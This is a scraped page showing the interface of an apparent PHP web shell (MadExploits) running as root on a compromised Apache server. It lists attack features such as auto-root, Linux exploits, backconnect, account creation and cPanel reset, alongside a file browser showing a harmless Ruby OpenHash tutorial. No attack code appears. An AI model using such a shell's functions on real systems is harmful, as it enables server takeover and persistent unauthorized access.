Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-hashery /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
applique
[ DIR ]
drwxr-xr-x
00_introduction.rdoc
159
B
-rw-r--r--
01_open_hash.rdoc
1.62
KB
-rw-r--r--
02_query_hash.rdoc
402
B
-rw-r--r--
03_casting_hash.rdoc
260
B
-rw-r--r--
04_static_hash.rdoc
385
B
-rw-r--r--
05_key_hash.rdoc
376
B
-rw-r--r--
06_open_cascade.rdoc
1.49
KB
-rw-r--r--
07_fuzzy_hash.rdoc
2.9
KB
-rw-r--r--
08_propery_hash.rdoc
715
B
-rw-r--r--
10_association.rdoc
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 01_open_hash.rdoc
= OpenHash An OpenHash is a Hash that provides +open+ access to its entries via method calls. Writers (methods ending in =-marks) assign entries. Methods without special puncuation will retrieve entries. o = OpenHash.new o.a = 1 o.b = 2 o.a.assert == 1 o.b.assert == 2 Writers always use a Symbol for keys in the underlying Hash. o.to_h.assert == { :a=>1, :b=>2 } All the usual Hash methods are still available in an OpenHash. c = o.map{ |k,v| [k,v] } c.assert.include?([:a,1]) c.assert.include?([:b,2]) And they are protected from being overridden by writers. o.map = 3 o.map.refute == 3 Even so, the underlying Hash object does contain the entry even when it cannot be accessed via a reader method. o.to_h.assert == { :a=>1, :b=>2, :map=>3 } We can see if a method is open or not via the `#open?` method. o.open?(:a).assert == true o.open?(:map).assert == false For some usecases it may be necessary to give up access to one or more Hash methods in favor of access to the hash entries. This can be done using the `#open!` method. o.open!(:map, :merge) o.map.assert == 3 o.merge = 4 o.merge.assert == 4 Becuase of nature of a writer, a certain set of Hash methods are always protected, in particluar all methods buffered by underscore (e.g. `__id__`). So these cannot be opened. expect ArgumentError do o.open!(:__id__) end Even though writers alwasy use Symbols as keys, because an OpenHash is a true Hash object, any object can be used as a key internally. o = OpenHash.new o[nil] = "Nothing" o.to_h.assert == { nil=>"Nothing" } It simply cannot be accessible via a reader method.
Close